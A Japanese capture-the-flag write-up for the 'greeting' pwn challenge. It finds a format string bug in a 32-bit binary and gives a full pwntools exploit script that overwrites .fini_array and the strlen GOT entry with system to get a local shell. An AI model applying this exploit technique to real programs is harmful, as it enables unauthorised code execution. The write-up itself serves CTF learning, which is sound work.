greeting (TMMA CTF 2016)

pwn challenge list のbaby問題,greetingのwriteupです.
問題サーバは止まっているので,ローカル環境のみです.

問題

Host : pwn2.chal.ctf.westerns.tokyo
Port : 16317
greeting
Note: To prevent from DoS attacks, output length is limited in 131072 characters.

調査

脆弱性を探していく.

$ file greeting
greeting: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=beb85611dbf6f1f3a943cecd99726e5e35065a63, not stripped

$ checksec greeting
[*] '/home/greeting/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ ldd greeting
    linux-gate.so.1 (0xf7fa8000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d87000)
    /lib/ld-linux.so.2 (0xf7faa000)
$ ldd greeting
    linux-gate.so.1 (0xf7f0e000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7ced000)
    /lib/ld-linux.so.2 (0xf7f10000)

$ ./greeting 
Hello, I'm nao!
Please tell me your name... AAAAA
Nice to meet you, AAAAA :)
$ ./greeting 
Hello, I'm nao!
Please tell me your name... %x
Nice to meet you, 80487d0 :)

明らかなFSBが存在する.

$ ./greeting 
Hello, I'm nao!
Please tell me your name... AAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Nice to meet you, AAAA,0x80487d0,0xffe3808c,(nil),(nil),(nil),(nil),0x6563694e,0x206f7420,0x7465656d,0x756f7920,0x4141202c,0x252c4141,0x70252c70,0x2c70252c,0x252c7025,0x70252c70 :)

“Nice”(=4e696365)はスタックの7番目,入力した”AAAA”(=41414141)は11番目の途中からなので,実際に使えるのは12番目から.

次にmain関数の動作を追う.

$ objdump -d -M intel greeting
(...)

080485ed <main>:
 80485ed:   55                      push   ebp
 80485ee:   89 e5                   mov    ebp,esp
 80485f0:   83 e4 f0                and    esp,0xfffffff0
 80485f3:   81 ec a0 00 00 00       sub    esp,0xa0
 80485f9:   65 a1 14 00 00 00       mov    eax,gs:0x14
 80485ff:   89 84 24 9c 00 00 00    mov    DWORD PTR [esp+0x9c],eax
 8048606:   31 c0                   xor    eax,eax
 8048608:   c7 04 24 b3 87 04 08    mov    DWORD PTR [esp],0x80487b3
 804860f:   e8 3c fe ff ff          call   8048450 <printf@plt>
 8048614:   c7 44 24 04 40 00 00    mov    DWORD PTR [esp+0x4],0x40
 804861b:   00 
 804861c:   8d 44 24 5c             lea    eax,[esp+0x5c]
 8048620:   89 04 24                mov    DWORD PTR [esp],eax
 8048623:   e8 51 00 00 00          call   8048679 <getnline>
 8048628:   85 c0                   test   eax,eax
 804862a:   74 2a                   je     8048656 <main+0x69>
 804862c:   8d 44 24 5c             lea    eax,[esp+0x5c]
 8048630:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048634:   c7 44 24 04 d0 87 04    mov    DWORD PTR [esp+0x4],0x80487d0
 804863b:   08 
 804863c:   8d 44 24 1c             lea    eax,[esp+0x1c]
 8048640:   89 04 24                mov    DWORD PTR [esp],eax
 8048643:   e8 98 fe ff ff          call   80484e0 <sprintf@plt>
 8048648:   8d 44 24 1c             lea    eax,[esp+0x1c]
 804864c:   89 04 24                mov    DWORD PTR [esp],eax
 804864f:   e8 fc fd ff ff          call   8048450 <printf@plt>
 8048654:   eb 0c                   jmp    8048662 <main+0x75>
 8048656:   c7 04 24 e9 87 04 08    mov    DWORD PTR [esp],0x80487e9
 804865d:   e8 1e fe ff ff          call   8048480 <puts@plt>
 8048662:   8b 94 24 9c 00 00 00    mov    edx,DWORD PTR [esp+0x9c]
 8048669:   65 33 15 14 00 00 00    xor    edx,DWORD PTR gs:0x14
 8048670:   74 05                   je     8048677 <main+0x8a>
 8048672:   e8 f9 fd ff ff          call   8048470 <__stack_chk_fail@plt>
 8048677:   c9                      leave  
 8048678:   c3                      ret    

08048679 <getnline>:
 8048679:   55                      push   ebp
 804867a:   89 e5                   mov    ebp,esp
 804867c:   83 ec 28                sub    esp,0x28
 804867f:   a1 80 9a 04 08          mov    eax,ds:0x8049a80
 8048684:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048688:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 804868b:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804868f:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048692:   89 04 24                mov    DWORD PTR [esp],eax
 8048695:   e8 c6 fd ff ff          call   8048460 <fgets@plt>
 804869a:   c7 44 24 04 0a 00 00    mov    DWORD PTR [esp+0x4],0xa
 80486a1:   00 
 80486a2:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486a5:   89 04 24                mov    DWORD PTR [esp],eax
 80486a8:   e8 03 fe ff ff          call   80484b0 <strchr@plt>
 80486ad:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 80486b0:   83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 80486b4:   74 06                   je     80486bc <getnline+0x43>
 80486b6:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 80486b9:   c6 00 00                mov    BYTE PTR [eax],0x0
 80486bc:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80486bf:   89 04 24                mov    DWORD PTR [esp],eax
 80486c2:   e8 f9 fd ff ff          call   80484c0 <strlen@plt>
 80486c7:   c9                      leave  
 80486c8:   c3                      ret    
 80486c9:   66 90                   xchg   ax,ax
 80486cb:   66 90                   xchg   ax,ax
 80486cd:   66 90                   xchg   ax,ax
 80486cf:   90                      nop

(...)

mainの8048623でgetlineを呼んで,文字列が得られたら8048643でsprintf,804864fでprintfを呼んでmainが終了している.

最後に攻撃に使えそうな関数を調べる.

$ objdump -d -M intel -j .plt --no greeting
(...)

08048490 <system@plt>:
 8048490:   jmp    DWORD PTR ds:0x8049a48
 8048496:   push   0x28
 804849b:   jmp    8048430 <.plt>

(...)

systemがそのまま使えることが分かる.

考えたこと

  • 目的はsystem("/bin/sh")を呼ぶこと
  • FSBが存在するが,printf直後にmain関数が終了する
    • .fini_array(main関数が終了した後,exit時に呼ばれるデストラクタの処理のアドレス配列)を書き換えれば良い
    • ただし.fini_arrayでは引数が与えられないので,systemではなくmainを呼ぶ
  • 同時にstrlenをsystemに書き換えておけば,2度めのfgetsで”/bin/sh”を渡すことでsystem("/bin/sh")を呼べる(strlenは引数が1つなのでちょうどよい)

足りない情報を集める.

$ readelf -S greeting | grep fini_array
  [20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4

.fini_arrayのアドレスは0x08049934

exploit

実際に書いたコードは以下.

#!/usr/bin/env python
from pwn import *
from libformatstr import FormatStr

p = process('./greeting')
elf = ELF('./greeting', checksec=False)

got_strlen = elf.got['strlen']
plt_system = elf.plt['system']
addr_main = elf.symbols['main']
addr_finiarray = 0x08049934

padding = 2
offset = 12
written = 'Nice to meet you, '

# first main
fs = FormatStr()
fs[addr_finiarray] = addr_main
fs[got_strlen] = plt_system
payload1 = fs.payload(offset, padding, len(written))

ret = p.recvuntil('Please tell me your name... ')
p.sendline(payload1)

# second main
payload2 = '/bin/sh'
ret = p.recvuntil('Please tell me your name... ')
p.sendline(payload2)

p.interactive()

これを実行することでシェルが奪える.

$ python greeting.py
[+] Starting local process './greeting': pid 17030
[*] Switching to interactive mode
$ ls
greeting  greeting.py

おわりに

pwn challenge listのwriteupを書いていきたいけど,babyすら解けない問題があって心が折れそう……
奈緒ちゃんマジ鬼畜.

シェアする

  • このエントリーをはてなブックマークに追加

フォローする